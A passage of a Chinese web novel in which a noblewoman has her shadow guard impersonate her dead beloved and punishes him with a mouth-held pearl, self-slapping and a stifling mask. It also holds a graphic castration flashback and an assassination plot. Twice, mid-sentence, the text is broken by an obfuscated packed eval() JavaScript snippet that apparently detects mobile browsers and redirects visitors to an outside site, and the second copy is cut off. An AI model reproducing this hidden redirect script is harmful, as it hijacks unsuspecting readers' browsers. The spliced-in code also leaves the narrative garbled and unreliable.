所以,昨夜大小姐亲自为他上药,又特意叮嘱要他一日三次按时涂抹,并非出于对他的怜惜。 而是因为,若有了这疤,他便不像裴钰了。 铜镜里,那一点红缀于男人冷厉剑眉,被身上白衣衬得格外刺目。 玄霜微不可察地扯了下唇,他到大小姐身边不过三日,竟就忘了暗卫的本分。 大小姐是天上月,云间雪。 不过随手赐了他一瓶药膏,卑贱的暗卫,竟敢在心里惦念不忘。 玄霜垂下小臂,让宽大的袍袖覆过手背,挡住那块丑陋的疤痕,平静道:“多谢姑娘提醒。” 本是句好话,却因他嗓音冷沉,在惜月听来,不免带了几分威胁的味道。 惜月心下一凛,暗自思忖可是她方才情急之下说重了话,惹了玄霜不快。 她轻咳了声,不自在地找补道:“我险些忘了,裴公子身上虽无伤疤,但右手手心却有块胎记。不过这胎记是天生的东西,轻易模仿不得……” 玄霜静静听着,忽然开口问道:“这位裴公子,是大小姐的什么人?” 惜月的话被打断,她眨了眨眼,道:“自然是小姐的心上人了。” 想起旧事,惜月一时有些伤感,“苍天无眼,那样好的一个人物,竟叫他年纪轻轻便病逝了。若是裴公子能与小姐一同回京,该是多好的一桩姻缘,小姐也不必整日郁郁寡欢。” 心上人…… 大小姐要他,学着成为她心上人的样子。 玄霜盯着铜镜里自己的脸。 可朽木劣石,再如何雕琢打扮,又怎能,和大小姐心中的珠玉琼枝相比。 * 自殷芙回京,一直深居相府,不曾出门。李蕙替她推拒了不少贵女夫人的邀约,可今日这一桩,却实在拒绝不得。 殷皇后身边的掌事大宫女兰若一早便登门传话,道皇后娘娘思念侄女,特地在泠水园设宴,请殷芙去宫里坐坐,陪她说说话。 惜月不知去了哪儿,殷芙便叫了素玉进来,服侍她梳洗更衣。 素玉是她在白沙村用两文钱买下的丫鬟,这两日虽然也跟着惜月学了些京中时兴的发髻样式,但到底还是有些笨手笨脚。 素玉紧张得满头是汗,心道幸好小姐花容月貌,面上只略施些脂粉,便生生让人移不开眼,想来也无人会注意小姐的发髻。 晌午过后,殷芙便和李蕙坐上马车,往皇宫去。 李蕙捏捏殷芙的手,温声叮嘱:“阿芙不必紧张,自在些便好。皇后娘娘是挂念着你离京多年,和京中各家难免生疏了来往,所以便做一回主,让你借着今日机会,和姑娘们重新熟络熟络。” 殷芙心不在焉地点了点头,掀开车帘,望向长街两侧陌生的商铺。 皇后娘娘是一片好心,可惜殷芙对此并没什么兴致,她年幼时也曾有过几位交好的贵女,只是多年未见,早已生疏,怕是也没什么知心话可说。 宫门口,兰若早早便等在那里,恭敬地引着母女二人往泠水园去。 殷皇后一见殷芙,便热切地将她唤到面前,细细问了她许多话,譬如这些年她在外过得可好,可有受了什么欺负。 “多谢娘娘关怀,阿芙一切都好。” 若说实话,自然是过得不好的。 李蕙做惯了养尊处优的相爷夫人,彼时骤然听得丈夫出事,惊吓得六神无主,整个人如同丢了魂儿一般,反倒是殷芙十分冷静,一路上,她不仅要照料哭肿了眼睛的母亲,还要思量着日后该如何生存。 爹爹之事尚不知何时能有结果,离京时带的盘缠虽然富余,但早晚有花完的那一天。 何况那些看着淳朴老实的村民,并非殷芙想象中那般纯善,见母女俩穿着绸缎衣裳,便以为是被京中某个大户人家赶出来的妾女,不仅时常寻机偷她们的东西,更有甚者,还对殷芙的美貌起了色心。 殷芙何尝不想做无忧无虑金枝玉叶的相府小姐,可是没有爹爹,她只能依靠自己,为自保,也为了护住母亲。 面黑牙黄的汉子嬉笑着将她一步步逼到墙角,殷芙拿起沉重的砍柴刀,毫不犹豫地砍了下去。 一截蚯蚓似的东西蠕动着滚落在地上,溅了满地的鲜血,男人面容抽搐着倒在地上,痛苦地捂着裆部,颤抖着叫喊,救救他,救救他,他还没有儿子,他不能断子绝孙。 殷芙冷眼看着。 那一年,她才十五岁。 路上辛苦凶险,桩桩件件,殷芙记得清楚,只是不愿再提。 殷皇后欣慰道:“阿芙一切无碍便好。本宫一直牵挂着你,你平安归来,也算是了却了本宫一桩心事。” 园子里花草繁盛,暑气闷热,殷皇后身子不好,经不得久坐,又同殷芙说了几句话,便让她和那些贵女们同去园中赏景,说些闲话。 殷芙望见不远处的清湖边似有一处凉亭可避暑歇息,便带着素玉往亭子走去。 素玉头一次进宫,看什么都是新鲜的,一路上叽叽喳喳,和殷芙说个不停。 “我道是谁家的婢女如此聒噪呢,原来是阿芙姐姐身边的人。” 一道阴阳怪气的声音响起,赵徽容搭着身侧丫鬟的手,不紧不慢地踱到殷芙面前,皮笑肉不笑道,“多年不见,姐姐模样变了不少,和昔年的殷家千金,简直判若两人呢。” 见赵徽容打扮得贵气逼人,不像是好惹的人物,素玉窝囊地闭了嘴,不安地往殷芙身后躲了躲。 殷芙停下脚步,慢悠悠道:“原来是赵小姐啊。赵小姐的腿脚瞧着似乎比以前利落了许多,可是请到了名医诊治?” 话音落,赵徽容果然黑了脸。她瞪圆了双目,死死盯着殷芙的脸,只恨不能在上面挖出个洞来。 她、她竟敢主动提起此事! 世家贵女最重仪态,如若不是因为殷芙,她又何至于会跌伤了脚踝,落得个跛脚的毛病,明里暗里地被人笑话了这么多年? 幼时除夕宫宴,她随家中一同入宫,陪帝后共庆新岁,皇后兴致颇高,宴席散后,又请这些年轻的姑娘们去永宁宫赏梅。偏偏殷芙不小心掉了个镯子,皇后疼爱侄女,便让贵女们同宫人一起帮殷芙四下寻找。 赵徽容当然不会好心地帮殷芙找什么镯子。 殷赵两家的女儿同日入宫,同为皇帝身边人,一个成了贤名满天下的皇后,一个却是背负狐媚骂名的妖妃。因着皇后的缘故,每每她与殷芙同在的场合,贵女们总要捧着殷芙多一些,是以她对殷芙早有不满。 她带着丫鬟,一面往人少处躲懒,一面骂着殷芙倚仗皇后恩宠,架子越发大了。一不留神,脚下踩到池子边的坚冰,重重崴了脚,当时便听见一声骨裂之音,再后来,她便跛了脚。 旧怨新仇交织着涌入脑海,赵徽容想起那门本该属于她的好亲事,越发恨得牙根痒痒。 刃杀楼的那些刺客未免也太没本事了,枉费她折了二十两黄金,竟然让殷芙捡了条性命,风风光光地回了京城。 殷芙自然知道赵徽容此刻的怨气。 她跛脚一事,分明和她没半点关系,是赵徽容自己走路不小心,却偏要怪到她的头上。 以前殷芙还存了几分善心,想着给赵徽容留些体面,从不曾在人前提起此事,如今在外头经历了许多人心生死,殷芙早已懂得,善是最无用的东西。既然赵徽容刻意挑衅,那她也不必客气就是了。 “此处炎热,我与赵小姐原本也不算相熟,便不陪赵小姐闲话了。”殷芙微笑,拉过素玉的手,便要越过赵徽容往前走。 赵徽容如何咽得下这口气,眼见贵女们三三两两从身边经过,她心一横,也顾不得还在宫中,朝殷芙的背影扬声喊:“姐姐流落乡野多年,今年已有十八了吧?这个年纪的姑娘,早该嫁人生子了。姐姐若是早在外头有了丈夫,可要早早向陛下禀明才好,莫要糟蹋了沈状元那般人物!” 话音落,贵女们不约而同地停下脚步朝二人看过来,面上装作不经意,心里却都存着看热闹的心思。 这两人一向不对付,如今一道圣旨,又将原本属于赵徽容的亲事给了殷芙,此事怕是有得折腾。 虽说从前总是赵徽容无理取闹多些,但她方才这话,也不无道理。北燕女子大多早嫁,往往十五六岁便许了人家。何况殷芙离京多年,无人知晓她在京外经历了些什么。 殷芙转过脸,淡淡瞥了眼周围:“今日诸多姐妹都在,借此机会把话说清也好。我虽尚未成婚,但已有心上人。只是他英年早逝,我与他虽未行夫妻之礼,却已互表心意,私定终身。待过几日,我自会去见陛下,求陛下收回赐婚的旨意。” 若说实话,她虽然喜欢裴钰,但还不至于为他守贞终生。换句话说,她不会为任何 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赵徽容闻言却嗤了声,唇角讥讽更甚:“心上人?是村里耕地的农夫?还是乡下卖猪肉的屠户?” “是永康侯之子,裴氏三郎,裴钰。”提及裴钰的名字,殷芙的声音稍稍温和了些许。 顾着那时殷至邺还在狱中,殷芙小心对裴钰隐瞒了家世,只道她姓尹,家中生变,不得不离京避难。裴钰待她却是坦诚,在白沙村安顿下来后,便将身份底细一五一十告诉了她。 永康侯裴决武将出身,喜爱孔武健壮的儿子。而裴钰生来秀弱,又不喜操练刀枪,只爱钻研诗词文赋,裴决嫌弃他一身文弱书生气,辱没了裴家门楣,便将裴钰和他的母亲苏姨娘赶去了乡下。 裴钰虽自幼离开父亲身边,却始终不忘孝道,听闻裴决卧病在床,不顾路途遥远上京探望,之后便在返乡路上遇到了殷芙。 如此说来,也算是上苍作媒,促成了她与裴钰的缘分。 一旁的贵女们相视几眼,却是面露茫然。 永康侯凭借赫赫战功得以封侯,膝下两子各个武艺高强,年纪轻轻便在军中任职,这些事京中无人不知。却从未听说过,他还有第三个儿子。 赵徽容懵了半晌,也没想起这位裴三郎是谁。 见殷芙一脸平淡,赵徽容心中越发恼怒,圣旨已下,岂容更改,殷芙这般信口胡诌,不过是想在人前羞辱她罢了。 满京城皆知她爱慕沈清,可她的意中人,她费尽心思求了太后那么多次才得来的婚事,殷芙却轻飘飘地说不要就不要了。 而殷芙已从容转身,带着素玉往园子深处去了。 赵徽容气得咬牙切齿,她攥紧了拳,死死盯着殷芙的背影,暗自发誓,她绝不会放过殷芙。 既然一次刺杀不成—— 那就两次,三次。 只要殷芙死了,她的东西,便再也不会有人同她抢了。 * 傍晚,殷芙被殷皇后留在永宁宫用了饭,回到相府时,已是快戌时了。 殷芙沐浴过,换了身宽松的纱衣,便命惜月去备作画的纸笔。 今日在泠水园里,有不少贵女主动与她攀谈,如今殷家风光正盛,能和殷芙打好关系是再好不过的事,只是彼此终究没什么知心话可聊,于是便只能问起殷芙提起的那位裴家三郎。 她含笑一一作答,心中却难免伤神,这几日好不容易压下的几分情绪,随着裴钰二字的频繁提起,复又涌上心头。 殷芙垂眸坐在榻边,两个小丫鬟将两口木箱抬进来,说是殷皇后送来的赏赐。 殷芙心不在焉地打开,其中一口箱子里装着满满当当的金锭,另一口则装着许多宫中时兴的发簪首饰,另外还有一匣珍贵的明月珠。 在北燕,明月珠乃极为罕有之物,白日里瞧着和寻常珍珠无异,到了夜里,却能散出皎皎清辉,恍若明月一般。 这般稀有的明月珠,皇后竟直接赏了一匣给她,足以见得对她的怜惜体恤之心。 殷芙终于有了几分兴致,然而不及她细细把玩,忽听静谧夜色中传来一阵脚步声响。 她循声抬眸,房门外,男子一身雪色白衣,檐下灯盏光影昏黄,影影绰绰地落在他的脸上。 阿钰…… 殷芙只怔了一瞬,便蓦地站起身,她无比确信眼前的人就是裴钰,一样的白衣,一样的脸。袍带垂曳身侧,绣着花草青竹,是她在白沙村的早集上买来送他的那一条。 这次,她绝不会认错。 殷芙脚步急切,一头扑进玄霜怀中,牢牢抱住了他。 “阿钰,你回来了是不是?你知不知道我很想你,回到京城的每一日都很想你……” 少女喃喃呓语,温软脸颊贴在玄霜胸膛,呼吸柔热,落在裴钰的衣衫上。 玄霜脚步生生顿住,心脏不知所措地跳得很快。他低眸,看向紧紧依偎在他身前的少女,他知道,殷芙是将他当成了裴钰。 经了惜月一番费心装点,方才素玉见了他都误把他当成裴钰的鬼魂,惊得直接跌在了院子里。 玄霜眼眸暗了暗。 他……竟有这般像那位裴公子么。 殷芙用力抱着面前的男人,手臂环着那截劲瘦腰身,隔着衣裳,她清晰感受到他皮肤上轻微的潮汗,还有紧实蓬勃的肌肉。 原来裴钰抱起来,是这般舒服吗。 恍惚之中,殷芙无意识地想。 裴钰重礼守规,即使两人已互表心意,也从来不曾越过男女之防,更不会像如今这般让她抱着。 殷芙忍不住抱得更紧了些,脸颊直接埋了进去,依依不舍地蹭了蹭。 紧韧软弹,比她用过的所有枕头都要舒服。 玄霜骤然绷紧了身子,如梦初醒般,本能地将殷芙推开,双膝咚地一声跪在地上,额头磕出沉闷的声响。 “属下冒犯大小姐,请大小姐赐死。” 5. 第五章 殷芙正抱得舒服,骤然被人推开,猝不及防踉跄了下,好在玄霜并未用太大力气,两三步后,殷芙便站稳了。 神思渐渐回笼,殷芙蹙眉,看向垂首跪在她面前请罪的男人。 不是阿钰。 只是穿着阿钰衣裳的那个暗卫。 不是便不是罢,只是好端端的,偏要提什么“死”字,好似在提醒她,裴钰早已死了,如今在她眼前的,不过是个费心装扮过的赝品。 殷芙冷下脸,回到床榻边坐下,对着额头仍紧紧贴在地板上的男人命令道:“跪过来。” “是,大小姐。” 玄霜膝行至床榻边,再次重重磕下头去,又重复一遍:“属下犯下大不敬之罪,请大小姐赐死。” 头一次抱男人便被推开,殷芙的心情本就不佳,偏偏这男人又仿佛木头一般,只会挑她不喜的话说。 她脸色又冷下几分,睨着玄霜凉凉道:“张口闭口便是死字,也不知道晦气,既不会说话,往后便当个哑巴吧。” 随手从手边敞开的匣子里拈出一粒明月珠,殷芙用脚尖挑起男人下颌,令他抬起脸来,又掐着他的腮,扯出口中的红舌。 玄霜黑睫轻颤,看着殷芙将那颗雪白的珠子放在他的舌尖,他很快领会殷芙的意思,沉默而顺从地将它含进口中,抵在舌根。 殷芙在他脸上随意擦了擦手上沾染的津液,轻描淡写道:“先含上两日,何时学会该如何在本小姐面前说话了,何时再允你吐出来。” 玄霜下意识想张口应答,感受到口中异物的存在,又无声闭上了嘴,望着殷芙点了点头。 大小姐……没有因为他方才那般冒犯举动而赐死他。 只是罚他含珠两日,不可说话,不可饮水,不可进食。 大小姐待他,实在仁慈。 殷芙此时才仔细打量起面前的男人,他穿着裴钰的旧衣裳,眉间还刻意点了一颗和裴钰一样的红痣,一双漆黑墨眸却无半点情绪,只静静映着她的影子。 殷芙冷哼了声,评价道:“不够像。” 她话里带着几分怨气,看似是在对玄霜说话,实则却是在怨方才将他错认成裴钰的自己。 玄霜不知她话中意味,“属下知错”几个字已到了嘴边,后知后觉记起他尚在受罚不可说话,于是只能朝殷芙磕下头去。 殷芙踩了踩男人的头,心烦地命令:“把阿钰的衣裳脱下来,一点都不好看。” 他穿白衣,远观尚可,近看实在拙劣,仿佛从战场上浴血归来的冷面将军,故意扮作风流俊秀的书生模样。 玄霜抿紧了唇,待少女的绣鞋从他发顶离开,方直起身,动作迅速地解开袍带,将那身白衫褪下,露出原本穿着的紧身黑衣。 玄霜小心将脱下来的衣裳整齐叠好,双手捧着,递还给殷芙。 殷芙接过来随手放在一旁,再次从上到下地打量了玄霜一遍,心想,果然还是这身衣裳顺眼许多。 她站起身,朝那张用来作画的红檀长案走去,对玄霜吩咐道:“过来,陪本小姐作画。” 男人跟在殷芙身后,一路膝行至案旁,跪姿标准,像个不会说话的人形摆件。 殷芙铺开画纸,盯着玄霜的脸看了片刻,总觉得心中不舒坦,便从怀中取出帕子,拭去了他眉间的那颗红痣。 玄霜眼睫低垂,任由殷芙摆弄,一动未动。 殷芙满意了,一面瞧着玄霜的五官,一面在纸上落笔,一点点勾勒出裴钰的模样。 烛油蜿蜒淌落,不知不觉,一支白烛便烧尽了。火苗忽地一晃,卧房内霎时间陷入一片漆黑。 好在殷芙并不怕黑,只是作画骤然被打断,令她有些不快。 她想起身去寻支新的点上,可周围半点光色也无,一时辨不清方向。 殷芙想起什么,伸出手朝黑暗中摸去,摸到长案旁玄霜沁着薄汗的面庞。她拍了拍男人的脸,命令道:“把嘴张开。” 玄霜默了一息,很快明白殷芙的意图,伸长舌头,使了些巧力,将那颗明月珠稳稳托于舌尖。 清辉莹亮,在满室漆黑中散出一圈萤火般的光晕。 暗卫听觉敏锐,玄霜静静聆听着黑暗中殷芙的脚步声,膝行伴在她身侧,作一盏为她引路的灯。 他在前些,殷芙在后。 不知为何,玄霜却觉得,是他在紧紧追随着大小姐。 他闻到殷芙裙裾上的香味,不是影阁暗室里毒虫凶兽腐烂的尸体味,而是一股清雅高贵的花香。 而他吐着舌头跪行在大小姐脚边,湿润的口涎顺着唇角淌下,粘在下颌,潮腻一片。 玄霜想了下自己此刻的模样。 他平静地想,他这般卑贱,怎配穿大小姐心爱之人的衣裳,所以方才大小姐才会那般厌恶地看他,命令他立刻脱下那身不属于他的雪衫。 屋内重又恢复光亮,殷芙将新点起的白烛插回案角的铜纹烛台里,余光瞥见玄霜还伸着那截软红,下颌边凝着几缕银荡的水丝,眸光却沉静无波。 这样一个峻拔冷厉的男人,却这般模样跪在她的面前,殷芙心中忽而有些异样。 莫名的,竟想多看些时候。 此刻,殷芙清楚地知道,眼前的男人不是裴钰。 岭上清雪般的裴钰,绝不会弯下一身铮铮风骨,做这样的事。 她盯着玄霜的脸,轻拍了下他的面颊,示意他合拢嘴巴,重新将那颗明月珠含好,纤细指尖漫不经心地挑起他唇边湿漉漉的银丝。 既不是裴钰,她自然不必对一个暗卫有任何怜惜。 她在玄霜脸上擦了擦手,不紧不慢地同他算起旧账来:“这颗珠子是罚你在本小姐面前提了死字,犯了本小姐的忌讳。方才你竟敢推本小姐,这般以下犯上,本小姐还未罚你呢。念你是初次犯错,便只罚你掌嘴三十罢。” 那时少女温温软软地蹭着他胸膛,玄霜一心只念着不可冒犯主子,下意识推开了殷芙,如今回忆起来,也不知可有弄疼了她。 若是,只掌嘴三十,实在惩罚太轻。 可口中的珠子无声剥夺了玄霜张口说话的权利,见殷芙已经提起笔继续作画,不再看他,玄霜默了默,抬起手掌,朝脸上落去。 静谧卧房中,掌嘴声不绝于耳。 男人力道干脆,劲寸掌风扬动空气,案角烛光都跟着颤了几颤。 那声音勾着殷芙分了神,忍不住停下笔,朝玄霜瞥去。 男人冷峻面颊染上绯红掌印,额角碎发凌乱垂落,仿佛被人凌辱欺虐过一般,那双眼却始终平静如死物,无一丝情绪。 殷芙想起这暗卫似乎极能忍痛,连牵乌发作时的药性也能生生忍着,这点惩罚,想来不痛不痒。 殷芙有些不快,便又在脑海中搜罗出一条莫须有的罪名:“还有,你身上的汗把阿钰的衣裳都弄脏了,再罚三十下。” 漆黑眼瞳微不可察地暗了暗,玄霜复又抬起手,愈发清脆地落下耳光。 暗卫的手劲本就比寻常男人还要大些,玄霜又不曾收着力气,是以脸颊迅速肿起一层滚烫红痕,灯烛映照下,惊心动魄。 殷芙忍不住多看了几眼。 她想,一定是因为这张脸太像裴钰了,所以她竟觉得无比漂亮。 甚至,还想再亲手添上几分颜色。 殷芙终究还是忍了下来,只是拿起搁在墨碟旁的笔,将毫尖上那点原本用来勾勒裴钰眉间痣的嫣红,在清水碟中晕淡了些,落在画中男子的面庞上,随心所欲地覆上一层显眼的红艳。 * 翌日。 晨曦透过窗缝落进屋中,殷芙坐在妆台前,掩唇懒懒打了个哈欠。 余光瞥见那身放在箱笼里的裴钰旧衣,殷芙目光微凝,神思终于从困倦睡意中清醒几分,随口吩咐道:“洗干净收起来,往后不许再给他穿阿钰的旧衣裳。” 惜月正站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524549|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷芙身后为她梳发,闻言不由有些忐忑,惴惴应了声是。 她心里琢磨着是不是自己这差事办得没能让小姐满意,可这世上终究没有完全相同的两个人,玄霜和裴公子模样是像,穿上那身旧衣,远远都能将素玉唬着了,但小姐日日和裴公子相处,自然一眼便能分辨。 惜月不由在心中叹了口气。 小姐心思通透,聪慧明秀,当然比谁都懂得人死不能复生的道理,如此举动,不过是饮鸩止渴罢了。 正想着,又听殷芙吩咐道:“你去让管事备好马车,一会儿让玄霜陪我去一趟浣纱楼,给他买几身衣裳。你也跟着。” “是,小姐。”惜月答应着。 殷芙用过早饭,玄霜便悄无声息地出现在了卧房门口。 也不知他如何做到的,半点脚步声也无,如同鬼魅一般,好在白日里黑衣显眼,殷芙一眼便瞧见了他。 得了殷芙眼神允许,男人方迈过门槛,沉默跪于榻前。 曦光清盛,将男人脸上的掌痕映得格外清晰。 即使过了一夜,那颜色也只褪去了三分,甚至隐隐透出些许青紫。 殷芙忍不住伸出手,轻轻摸了摸。 男人身体僵了下,很快便闭上眼睛,仿佛在等待殷芙再次降下惩罚,哪怕毫无缘由。 仍有些热。 殷芙没想到玄霜力气这样大,这种程度的伤,最好是该敷些药才好。 转念一想,他又不是裴钰,只是个惹了她生气的暗卫,她为何要待他这样好? 可是,若就这般带他出门,那伤又实在惹眼。 玄霜等了许久,预想中的疼痛却迟迟未落到脸上。 他缓缓睁开眼,见少女撑腮,正蹙眉盯着他的脸打量,想起方才惜月跑来告诉他小姐要带他出门买衣裳,玄霜大概猜到殷芙此刻在想些什么。 受了罚的暗卫本该待在府中思过,是大小姐心善,才会允他伴她出门。 可他如今这张脸,实在会丢了大小姐的体面。 玄霜犹豫片刻,从袖中取出黑巾,以眼神告诉殷芙,他可用此物遮去脸上伤痕。 殷芙看着他手中那块黑漆漆的蒙巾,不由皱起眉,光天白日之下,脸蒙黑巾出入街市,不知道的还以为是行凶的刺客呢。 殷芙想了想,起身进了里屋,那里放着几只她从白沙村带回来的木箱,里面大多是些书册药材,及一些日用杂物。 殷芙翻找半晌,从角落里寻出一只银制的面具。 在白沙村时,殷芙常去的一家旧书铺老板见殷芙懂得赫卑文字,又对赫卑族的毒术秘方十分感兴趣,便将这物件随手送给了她。 赫卑族擅制毒,因时常出入丛林采药,为防止被毒虫咬伤口鼻,便用银锻造成面具,覆挡住下半张脸。 这面具设计得极为精巧,银子结实,不比棉绸透气,所以便在耳后设了耳钩,用来调节面具松紧。 雪银上刻着飞羽云纹,扣在玄霜脸上,更显冷冽肃杀。 男人面无表情,任由殷芙动作,见他如此顺从,殷芙突然起了坏心思,故意将耳钩调紧了几分。 那面具便几乎紧贴在玄霜的脸上,只堪堪留下一丝细小的缝隙。 眼下正是暑热时节,他这般出去,只怕不出一刻钟,便会呼吸艰难,头脑发昏。 玄霜喉结滚了滚,呼吸间是面具上馥雅的香气,是殷芙放在箱中用来熏香的干花味道。与他昨夜闻到的,她衣裙上的香味一样。 房中闷热,不过几息功夫,玄霜脸上便因憋闷而沁出汗来。 他却恍若无所察觉,只是下意识地想,这面具,是否也是那位裴公子用过的旧物。 可大小姐的心上人容貌清绝隽秀,怎会用得上这等遮面之物。 所以,这面具,是大小姐赏他的。 赏给玄霜的。 因着这念头,玄霜面具下的脸,竟久违地,扯出一丝微笑。 6. 第六章 玄霜迅速又将这缕思绪掐断,卑贱的暗卫,不该臆想有关大小姐的任何事。 “小姐,马车备好了。”惜月在门口禀话。 殷芙点头,再次伸手按了按玄霜脸上的面具,确定他没有一丝一毫偷懒的可能,这才站起身,示意玄霜跟在她身后。 出了相府大门,殷芙坐进马车,吩咐车夫往景明街去,惜月和玄霜跟着车走在后头。 长街上人来人往,叫卖吆喝声悠长不绝,一如殷芙离京之时那般热闹。 车夫将马车停在街角,殷芙下了车,给了惜月些银钱,让她去买些爱吃的糕点。 惜月喜滋滋地去了,以前她最爱吃茯苓坊的红豆酥,还有张记的马蹄糕,难为小姐还记着。 殷芙带着玄霜顺着长街走了一小段路,便看见了浣纱楼的招牌。浣纱楼是京中最有名的成衣铺子,一至三层皆是女子衣裙,只第四层卖男子成衣。 殷芙进去时,楼中已十分热闹,因暑热正盛,浣纱楼新进了一批时兴的纱裙,姑娘们都赶着来买个新鲜。 难得出门一趟,殷芙本来也想给自己挑几身喜欢的,可身边的男人实在太过招人注目,她每走两步,便不知有多少道目光落过来。 许是玄霜在她面前总是跪着的缘故,在府中时殷芙竟不曾发觉原来他生得这般挺拔高大,比裴钰还要高出许多。 宽肩窄腰,双腿修长,肌肉线条紧实利落,饱满却不显壮硕,面具之上,是一双冷淡得毫无情绪的眼。 那些目光令殷芙多少有些不自在,她此番回京,本也无意招摇,便直接带着玄霜去了顶楼。 见是位姑娘带着个男人来挑衣裳,伙计不由面露诧异,他倒是见过不少男子陪着妻女过来,眼前这般却是少见。 他盯着玄霜瞧了几眼,男人眼眸冷寒,又着一身黑衣,且不计较他是何身份,总归是做生意要紧,伙计很快端出笑脸,凭借多年招呼客人的经验,殷勤地拿了几身玄黑和赭红的衣裳递过来。 殷芙只扫了一眼,便让伙计将这些衣裳都拿走。 “要那件柳青色的,还有那身杏黄绣竹纹的。” 裴钰虽喜穿白衣,但偶尔也会穿些别的颜色,譬如青黄之类,温秀又不失风雅。 玄霜抿了下干渴的唇瓣,他知道,大小姐不是在为他挑衣裳,而是在给裴钰挑。 伙计怔了下,依言把殷芙要的衣裳捧了过来,却还是忍不住劝道:“京中唯有那些读书人喜穿这样浅淡的衣裳,这位公子仪表堂堂,穿上怕是……” 殷芙看了伙计一眼,没理会他,只偏过脸问玄霜:“阿钰喜欢吗?” 少女语气温温柔柔,唤着阿钰二字,婉转动听,仿佛绕着说不尽的缠绵情思。 玄霜喉结动了动,片刻后,点了下头。 殷芙便笑起来,从荷包里摸出银钱,递给伙计。 伙计见状,哪还敢置喙什么,忙收了银子,将衣裳仔细装进樟木匣子里,递给玄霜拿好。 待出了浣纱楼,殷芙的脸色一瞬便冷淡下来,她睨了眼玄霜,漫不经心道:“回去后换上让惜月瞧瞧,哪件最好,便穿哪件来见本小姐。” 玄霜点头,许是太久没说话了,仿佛有许多字句和那颗珠子一同堵在喉口,莫名泛起些他从未品尝过的酸楚。 他面色平静地将那几丝不该生出的情绪咽下,久闷在面具后的呼吸将面颊覆上一层潮湿的汗,粘着玄霜干涩的唇,每一刻都无比难挨,他却只是伸手将面具扶正了些,让那点快要散尽的芙蓉花香,重又拢聚在他汗津津的鼻尖。 惜月拎着油纸袋跑过来,嘴角还挂着糕点残渣,乐呵呵地对殷芙道:“小姐,咱们要不要给相爷和夫人买些什么回去?” 殷芙想了想,道:“去容雪阁逛逛罢,给母亲挑些面膏胭脂。” 这些年在外辛苦,母亲的脸久未保养,已生了不少皱纹,她瞧着实在心疼。 至于爹爹,父女俩多年未见,到底不比从前亲近,她还不知爹爹如今喜欢些什么,待日后慢慢留心着,年节时再买来送与爹爹吧。 正欲往容雪阁去,身后忽然传来一道温润的男子声音。 “殷姑娘?” 殷芙脚步微顿,闻声转过身,开口之人着青白素衫,眉眼温和,一身文人气派,见殷芙似乎不认识他,便笑着拱了拱手,自我介绍道:“方才听姑娘言谈间提及相爷,沈清便冒昧猜测了姑娘身份,还望姑娘莫怪。” 沈清…… 原来他便是圣上赐婚给她的那位未婚夫婿,赵徽容的意中人。 殷芙不卑不亢地回以一礼,“沈公子。” 沈清眯了眯眸,不动声色地打量了殷芙一番。 起初得知圣上改变心意,悔了他与赵家的婚事,令他改娶殷氏女时,沈清自然是不情愿的。 赵徽容虽然性子娇纵,但好歹是大家闺秀,名门千金。而殷芙流落京外多年,只怕是一身乡野土气,举止粗陋如同村妇,如何配得上沈家书香门第?即使殷家权势再盛,再得陛下看重,沈清心里也是嫌弃的。 可今日一见,少女雪肌玉容,眉目姝丽,一举一动,不似京中贵女们那般拘谨羞怯,反而落落大方,着实令沈清惊艳不小。 殷氏之女,竟如此美貌。 可美貌归美貌,昨日宫中之事,沈清也有所耳闻。 他的二妹随母亲入宫赴宴,回来时便将殷芙在泠水园的那番话一五一十地告诉了他。 赐婚圣旨已下,殷芙却当着众人的面直言她已有心上人,不会嫁他。 若殷芙当真是个乡野村姑倒也罢了,沈清巴不得她去求了皇帝收回成命,可如今美人就站在眼前—— 沈清眸色微敛,含笑继续道:“殷姑娘归京也有些时日了,本该亲自登门拜访,奈何近日琐事繁多,一直未能抽身。今日碰巧在此遇见姑娘,不知姑娘可否赏光,同沈某喝盏茶。” 殷芙思量片刻,便点头答应了,“好啊。” 退婚一事毕竟关乎殷沈两家颜面,借着今日机会,把话同沈清说清楚也好,省得日后再生烦恼。 前面不远处正好有一家兰馨茶楼,沈清便走在前头引路,带着殷芙往茶楼去。 惜月走在后面,仔仔细细将沈清打量了个遍,小声嘟囔道:“这状元郎瞧着也不过如此嘛,我看比不得裴公子半分,一点都配不上小姐。” 玄霜瞥她一眼。 惜月将他的眼神理解为问询,好心解释:“他便是小姐的未婚夫郎,沈太傅的儿子沈清。不过小姐心里念着裴公子,是断断不会嫁他的,他最好识相些,莫要纠缠小姐。” 听见纠缠二字,男人死水般的漆眸终于有了几分情绪,不动声色地摸了下袖中的匕首。 殷芙随沈清登上茶楼二楼,寻了处僻静雅间落了座。 小二很快送来新沏的雨前龙井,并几碟精致点心,沈清为殷芙斟了盏茶,目光不经意落向殷芙身后。 方才他一心只顾着和殷芙说话,并未注意到她身旁随行之人。那丫鬟生得普普通通,模样也老实本分,倒是那男人,看装束瞧着应是府中侍卫,却不知为何要以面具遮面,周身散着生人勿近的肃杀冷厉。 他有些不自在地收回视线,将茶盏推到殷芙面前,也不再弯弯绕绕,开门见山道:“昨日舍妹从宫中回来,同家里说起,沈某方知殷姑娘已有心上人。郎君已逝,再不能复生,殷姑娘通透豁达,该往前看才是。” 殷芙笑笑,不甚在意:“多谢沈公子关怀。我初回京中,还想多些时间同家人团聚,不愿耽搁了公子大好年华。只是陛下近日龙体抱恙,不见外客,此事还要劳烦沈公子等上些时日。” 见她说得平淡却坚决,沈清怔了怔,一时有些着急:“我知晓姑娘如今心中悲痛,但沈某并非心急之人,殷姑娘何时回心转意,沈某何时娶殷姑娘便是。何况圣旨已下,岂能随意更改,既为臣子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 